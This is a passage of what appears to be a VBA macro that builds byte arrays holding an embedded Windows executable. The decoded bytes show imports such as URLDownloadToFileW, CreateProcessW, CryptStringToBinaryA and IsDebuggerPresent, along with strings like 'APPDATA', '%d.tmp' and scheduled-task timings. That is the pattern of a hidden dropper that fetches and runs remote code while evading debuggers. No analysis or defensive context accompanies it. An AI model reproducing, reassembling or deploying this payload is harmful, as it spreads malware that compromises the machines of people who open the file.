    a(346) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(347) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 104, 0, 40, 0, 40, 0, 40, 0, 40, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0)
    a(348) = Array(32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 72, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 132, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 129, 1, 129, 1, 129, 1, 129, 1, 129, 1, 129, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1)
    a(349) = Array(1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 130, 1, 130, 1, 130, 1, 130, 1, 130, 1, 130, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 16, 0, 16, 0, 16, 0, 16, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0)
    a(350) = Array(32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 32, 0, 72, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 20, 0, 20, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 20, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 16, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1)
    a(351) = Array(1, 1, 1, 1, 1, 1, 1, 1, 16, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 16, 0, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 2, 1, 1, 1, 0, 0, 0, 0, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159)
    a(352) = Array(160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31)
    a(353) = Array(32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159)
    a(354) = Array(160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159)
    a(355) = Array(160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31)
    a(356) = Array(32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159)
    a(357) = Array(160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 37, 0, 100, 0, 46, 0, 116, 0, 109, 0, 112, 0, 0, 0, 0, 0, 65, 0, 80, 0, 80, 0, 68, 0, 65, 0, 84, 0, 65, 0, 0, 0)
    a(358) = Array(92, 0, 0, 0, 65, 0, 80, 0, 80, 0, 68, 0, 65, 0, 84, 0, 65, 0, 0, 0, 0, 0, 0, 0, 92, 0, 0, 0, 80, 0, 84, 0, 48, 0, 83, 0, 0, 0, 0, 0, 80, 0, 84, 0, 53, 0, 77, 0, 0, 0, 0, 0, 92, 0, 0, 0, 92, 0, 0, 0, 114, 0, 98, 0, 0, 0, 0, 0, 119, 0, 98, 0, 0, 0, 0, 0, 114, 0, 98, 0, 0, 0, 0, 0, 119, 0, 98, 0, 0, 0, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(359) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 224, 64, 0, 48, 205, 64, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 80, 59, 0, 0, 112, 61, 0, 0, 176, 123, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 241, 34, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 255, 255, 255, 0, 0, 0, 0)
    a(360) = Array(254, 255, 255, 255, 0, 0, 0, 0, 82, 37, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 64, 39, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 57, 41, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 63, 42, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 255, 255, 255, 0, 0, 0, 0)
End Sub

Private Sub Init12()
    a(361) = Array(254, 255, 255, 255, 0, 0, 0, 0, 31, 43, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 136, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 130, 44, 64, 0, 150, 44, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 192, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 231, 48, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 208, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 62, 57, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 208, 255, 255, 255, 0, 0, 0, 0)
    a(362) = Array(254, 255, 255, 255, 0, 0, 0, 0, 246, 69, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 208, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 68, 80, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 204, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 208, 81, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 156, 81, 64, 0, 254, 255, 255, 255, 0, 0, 0, 0, 208, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 88, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0)
    a(363) = Array(208, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 52, 90, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 216, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 246, 96, 64, 0, 254, 255, 255, 255, 0, 0, 0, 0, 5, 97, 64, 0, 254, 255, 255, 255, 0, 0, 0, 0, 216, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 184, 98, 64, 0, 254, 255, 255, 255, 0, 0, 0, 0, 196, 98, 64, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0)
    a(364) = Array(95, 102, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 216, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 187, 102, 64, 0, 191, 102, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 192, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 168, 104, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 37, 106, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 216, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 139, 107, 64, 0)
    a(365) = Array(158, 107, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 208, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 40, 113, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 204, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 247, 120, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 204, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 117, 126, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0)
    a(366) = Array(128, 128, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 200, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 69, 130, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 129, 129, 64, 0, 254, 255, 255, 255, 0, 0, 0, 0, 208, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 41, 134, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 100, 138, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 212, 255, 255, 255, 0, 0, 0, 0)
    a(367) = Array(254, 255, 255, 255, 0, 0, 0, 0, 43, 141, 64, 0, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 204, 255, 255, 255, 0, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0, 253, 144, 64, 0, 240, 209, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 228, 211, 0, 0, 16, 176, 0, 0, 40, 211, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 254, 211, 0, 0, 72, 177, 0, 0, 224, 209, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 26, 212, 0, 0, 0, 176, 0, 0, 48, 211, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 96, 212, 0, 0, 80, 177, 0, 0, 16, 211, 0, 0)
    a(368) = Array(0, 0, 0, 0, 0, 0, 0, 0, 106, 212, 0, 0, 48, 177, 0, 0, 32, 211, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 142, 212, 0, 0, 64, 177, 0, 0, 64, 211, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 176, 212, 0, 0, 96, 177, 0, 0, 232, 209, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 212, 212, 0, 0, 8, 176, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 10, 212, 0, 0, 0, 0, 0, 0, 188, 212, 0, 0, 0, 0, 0, 0, 154, 211, 0, 0, 170, 211, 0, 0, 186, 211, 0, 0, 200, 211, 0, 0)
    a(369) = Array(214, 211, 0, 0, 132, 211, 0, 0, 116, 211, 0, 0, 66, 217, 0, 0, 48, 217, 0, 0, 30, 217, 0, 0, 14, 217, 0, 0, 0, 217, 0, 0, 244, 216, 0, 0, 226, 216, 0, 0, 214, 216, 0, 0, 204, 216, 0, 0, 192, 216, 0, 0, 172, 216, 0, 0, 98, 211, 0, 0, 72, 211, 0, 0, 224, 212, 0, 0, 236, 212, 0, 0, 248, 212, 0, 0, 10, 213, 0, 0, 32, 213, 0, 0, 50, 213, 0, 0, 70, 213, 0, 0, 90, 213, 0, 0, 118, 213, 0, 0, 148, 213, 0, 0, 168, 213, 0, 0, 182, 213, 0, 0, 200, 213, 0, 0, 220, 213, 0, 0, 234, 213, 0, 0, 250, 213, 0, 0)
    a(370) = Array(6, 214, 0, 0, 22, 214, 0, 0, 44, 214, 0, 0, 60, 214, 0, 0, 84, 214, 0, 0, 108, 214, 0, 0, 148, 214, 0, 0, 160, 214, 0, 0, 182, 214, 0, 0, 194, 214, 0, 0, 216, 214, 0, 0, 232, 214, 0, 0, 250, 214, 0, 0, 12, 215, 0, 0, 26, 215, 0, 0, 50, 215, 0, 0, 68, 215, 0, 0, 94, 215, 0, 0, 120, 215, 0, 0, 132, 215, 0, 0, 146, 215, 0, 0, 160, 215, 0, 0, 170, 215, 0, 0, 194, 215, 0, 0, 210, 215, 0, 0, 232, 215, 0, 0, 0, 216, 0, 0, 26, 216, 0, 0, 48, 216, 0, 0, 74, 216, 0, 0, 90, 216, 0, 0, 98, 216, 0, 0)
    a(371) = Array(112, 216, 0, 0, 128, 216, 0, 0, 156, 216, 0, 0, 0, 0, 0, 0, 2, 0, 0, 128, 8, 0, 0, 128, 6, 0, 0, 128, 0, 0, 0, 0, 120, 212, 0, 0, 0, 0, 0, 0, 242, 211, 0, 0, 0, 0, 0, 0, 60, 212, 0, 0, 40, 212, 0, 0, 78, 212, 0, 0, 0, 0, 0, 0, 154, 212, 0, 0, 0, 0, 0, 0, 220, 1, 71, 101, 116, 69, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 86, 97, 114, 105, 97, 98, 108, 101, 87, 0, 168, 0, 67, 114, 101, 97, 116, 101, 80, 114, 111, 99, 101, 115, 115, 87, 0, 0, 147, 2, 71, 101, 116, 84, 105, 99, 107, 67, 111, 117)
    a(372) = Array(110, 116, 0, 0, 234, 1, 71, 101, 116, 70, 105, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 115, 87, 0, 0, 2, 2, 71, 101, 116, 76, 97, 115, 116, 69, 114, 114, 111, 114, 0, 0, 3, 2, 71, 101, 116, 76, 111, 99, 97, 108, 84, 105, 109, 101, 0, 0, 82, 0, 67, 108, 111, 115, 101, 72, 97, 110, 100, 108, 101, 0, 162, 2, 71, 101, 116, 86, 101, 114, 115, 105, 111, 110, 0, 0, 214, 0, 68, 101, 108, 101, 116, 101, 70, 105, 108, 101, 87, 0, 75, 69, 82, 78, 69, 76, 51, 50, 46, 100, 108, 108, 0, 0, 51, 3, 119, 115, 112, 114, 105, 110, 116, 102, 87, 0, 85, 83)
    a(373) = Array(69, 82, 51, 50, 46, 100, 108, 108, 0, 0, 101, 1, 71, 101, 116, 85, 115, 101, 114, 78, 97, 109, 101, 87, 0, 0, 65, 68, 86, 65, 80, 73, 51, 50, 46, 100, 108, 108, 0, 0, 16, 0, 67, 111, 67, 114, 101, 97, 116, 101, 73, 110, 115, 116, 97, 110, 99, 101, 0, 0, 108, 0, 67, 111, 85, 110, 105, 110, 105, 116, 105, 97, 108, 105, 122, 101, 0, 0, 63, 0, 67, 111, 73, 110, 105, 116, 105, 97, 108, 105, 122, 101, 69, 120, 0, 0, 111, 108, 101, 51, 50, 46, 100, 108, 108, 0, 79, 76, 69, 65, 85, 84, 51, 50, 46, 100, 108, 108, 0, 0, 139, 0, 80, 97, 116, 104, 82, 101)
    a(374) = Array(109, 111, 118, 101, 70, 105, 108, 101, 83, 112, 101, 99, 87, 0, 83, 72, 76, 87, 65, 80, 73, 46, 100, 108, 108, 0, 104, 0, 85, 82, 76, 68, 111, 119, 110, 108, 111, 97, 100, 84, 111, 70, 105, 108, 101, 87, 0, 0, 117, 114, 108, 109, 111, 110, 46, 100, 108, 108, 0, 0, 216, 0, 67, 114, 121, 112, 116, 83, 116, 114, 105, 110, 103, 84, 111, 66, 105, 110, 97, 114, 121, 65, 0, 0, 67, 82, 89, 80, 84, 51, 50, 46, 100, 108, 108, 0, 207, 2, 72, 101, 97, 112, 70, 114, 101, 101, 0, 0, 203, 2, 72, 101, 97, 112, 65, 108, 108, 111, 99, 0, 135, 1, 71, 101, 116, 67, 111, 109)
    a(375) = Array(109, 97, 110, 100, 76, 105, 110, 101, 87, 0, 211, 2, 72, 101, 97, 112, 83, 101, 116, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 0, 0, 99, 2, 71, 101, 116, 83, 116, 97, 114, 116, 117, 112, 73, 110, 102, 111, 87, 0, 192, 4, 84, 101, 114, 109, 105, 110, 97, 116, 101, 80, 114, 111, 99, 101, 115, 115, 0, 0, 192, 1, 71, 101, 116, 67, 117, 114, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 0, 211, 4, 85, 110, 104, 97, 110, 100, 108, 101, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 70, 105, 108, 116, 101, 114, 0, 0, 165, 4, 83, 101, 116, 85, 110, 104, 97, 110)
    a(376) = Array(100, 108, 101, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 70, 105, 108, 116, 101, 114, 0, 0, 3, 73, 115, 68, 101, 98, 117, 103, 103, 101, 114, 80, 114, 101, 115, 101, 110, 116, 0, 205, 2, 72, 101, 97, 112, 67, 114, 101, 97, 116, 101, 0, 0, 69, 2, 71, 101, 116, 80, 114, 111, 99, 65, 100, 100, 114, 101, 115, 115, 0, 0, 24, 2, 71, 101, 116, 77, 111, 100, 117, 108, 101, 72, 97, 110, 100, 108, 101, 87, 0, 0, 25, 1, 69, 120, 105, 116, 80, 114, 111, 99, 101, 115, 115, 0, 202, 0, 68, 101, 99, 111, 100, 101, 80, 111, 105, 110, 116, 101, 114, 0, 37, 5, 87, 114, 105, 116)
    a(377) = Array(101, 70, 105, 108, 101, 0, 100, 2, 71, 101, 116, 83, 116, 100, 72, 97, 110, 100, 108, 101, 0, 0, 20, 2, 71, 101, 116, 77, 111, 100, 117, 108, 101, 70, 105, 108, 101, 78, 97, 109, 101, 87, 0, 0, 234, 0, 69, 110, 99, 111, 100, 101, 80, 111, 105, 110, 116, 101, 114, 0, 238, 0, 69, 110, 116, 101, 114, 67, 114, 105, 116, 105, 99, 97, 108, 83, 101, 99, 116, 105, 111, 110, 0, 0, 57, 3, 76, 101, 97, 118, 101, 67, 114, 105, 116, 105, 99, 97, 108, 83, 101, 99, 116, 105, 111, 110, 0, 0, 227, 2, 73, 110, 105, 116, 105, 97, 108, 105, 122, 101, 67, 114, 105, 116, 105, 99, 97, 108)
    a(378) = Array(83, 101, 99, 116, 105, 111, 110, 65, 110, 100, 83, 112, 105, 110, 67, 111, 117, 110, 116, 0, 24, 4, 82, 116, 108, 85, 110, 119, 105, 110, 100, 0, 103, 3, 77, 117, 108, 116, 105, 66, 121, 116, 101, 84, 111, 87, 105, 100, 101, 67, 104, 97, 114, 0, 192, 3, 82, 101, 97, 100, 70, 105, 108, 101, 0, 0, 17, 5, 87, 105, 100, 101, 67, 104, 97, 114, 84, 111, 77, 117, 108, 116, 105, 66, 121, 116, 101, 0, 154, 1, 71, 101, 116, 67, 111, 110, 115, 111, 108, 101, 67, 80, 0, 0, 172, 1, 71, 101, 116, 67, 111, 110, 115, 111, 108, 101, 77, 111, 100, 101, 0, 0, 111, 4, 83, 101, 116, 72)
    a(379) = Array(97, 110, 100, 108, 101, 67, 111, 117, 110, 116, 0, 0, 243, 1, 71, 101, 116, 70, 105, 108, 101, 84, 121, 112, 101, 0, 209, 0, 68, 101, 108, 101, 116, 101, 67, 114, 105, 116, 105, 99, 97, 108, 83, 101, 99, 116, 105, 111, 110, 0, 102, 4, 83, 101, 116, 70, 105, 108, 101, 80, 111, 105, 110, 116, 101, 114, 0, 0, 97, 1, 70, 114, 101, 101, 69, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 83, 116, 114, 105, 110, 103, 115, 87, 0, 218, 1, 71, 101, 116, 69, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 83, 116, 114, 105, 110, 103, 115, 87, 0, 0, 197, 4, 84, 108, 115, 65, 108, 108)
    a(380) = Array(111, 99, 0, 0, 199, 4, 84, 108, 115, 71, 101, 116, 86, 97, 108, 117, 101, 0, 200, 4, 84, 108, 115, 83, 101, 116, 86, 97, 108, 117, 101, 0, 198, 4, 84, 108, 115, 70, 114, 101, 101, 0, 239, 2, 73, 110, 116, 101, 114, 108, 111, 99, 107, 101, 100, 73, 110, 99, 114, 101, 109, 101, 110, 116, 0, 0, 115, 4, 83, 101, 116, 76, 97, 115, 116, 69, 114, 114, 111, 114, 0, 0, 197, 1, 71, 101, 116, 67, 117, 114, 114, 101, 110, 116, 84, 104, 114, 101, 97, 100, 73, 100, 0, 0, 235, 2, 73, 110, 116, 101, 114, 108, 111, 99, 107, 101, 100, 68, 101, 99, 114, 101, 109, 101, 110, 116, 0, 0)
    a(381) = Array(167, 3, 81, 117, 101, 114, 121, 80, 101, 114, 102, 111, 114, 109, 97, 110, 99, 101, 67, 111, 117, 110, 116, 101, 114, 0, 193, 1, 71, 101, 116, 67, 117, 114, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 73, 100, 0, 121, 2, 71, 101, 116, 83, 121, 115, 116, 101, 109, 84, 105, 109, 101, 65, 115, 70, 105, 108, 101, 84, 105, 109, 101, 0, 63, 3, 76, 111, 97, 100, 76, 105, 98, 114, 97, 114, 121, 87, 0, 0, 178, 4, 83, 108, 101, 101, 112, 0, 143, 0, 67, 114, 101, 97, 116, 101, 70, 105, 108, 101, 87, 0, 135, 4, 83, 101, 116, 83, 116, 100, 72, 97, 110, 100, 108, 101, 0, 0)
    a(382) = Array(4, 3, 73, 115, 80, 114, 111, 99, 101, 115, 115, 111, 114, 70, 101, 97, 116, 117, 114, 101, 80, 114, 101, 115, 101, 110, 116, 0, 36, 5, 87, 114, 105, 116, 101, 67, 111, 110, 115, 111, 108, 101, 87, 0, 87, 1, 70, 108, 117, 115, 104, 70, 105, 108, 101, 66, 117, 102, 102, 101, 114, 115, 0, 0, 114, 1, 71, 101, 116, 67, 80, 73, 110, 102, 111, 0, 104, 1, 71, 101, 116, 65, 67, 80, 0, 0, 55, 2, 71, 101, 116, 79, 69, 77, 67, 80, 0, 0, 10, 3, 73, 115, 86, 97, 108, 105, 100, 67, 111, 100, 101, 80, 97, 103, 101, 0, 212, 2, 72, 101, 97, 112, 83, 105, 122, 101, 0, 0)
    a(383) = Array(210, 2, 72, 101, 97, 112, 82, 101, 65, 108, 108, 111, 99, 0, 83, 4, 83, 101, 116, 69, 110, 100, 79, 102, 70, 105, 108, 101, 0, 0, 74, 2, 71, 101, 116, 80, 114, 111, 99, 101, 115, 115, 72, 101, 97, 112, 0, 0, 105, 2, 71, 101, 116, 83, 116, 114, 105, 110, 103, 84, 121, 112, 101, 87, 0, 0, 45, 3, 76, 67, 77, 97, 112, 83, 116, 114, 105, 110, 103, 87, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
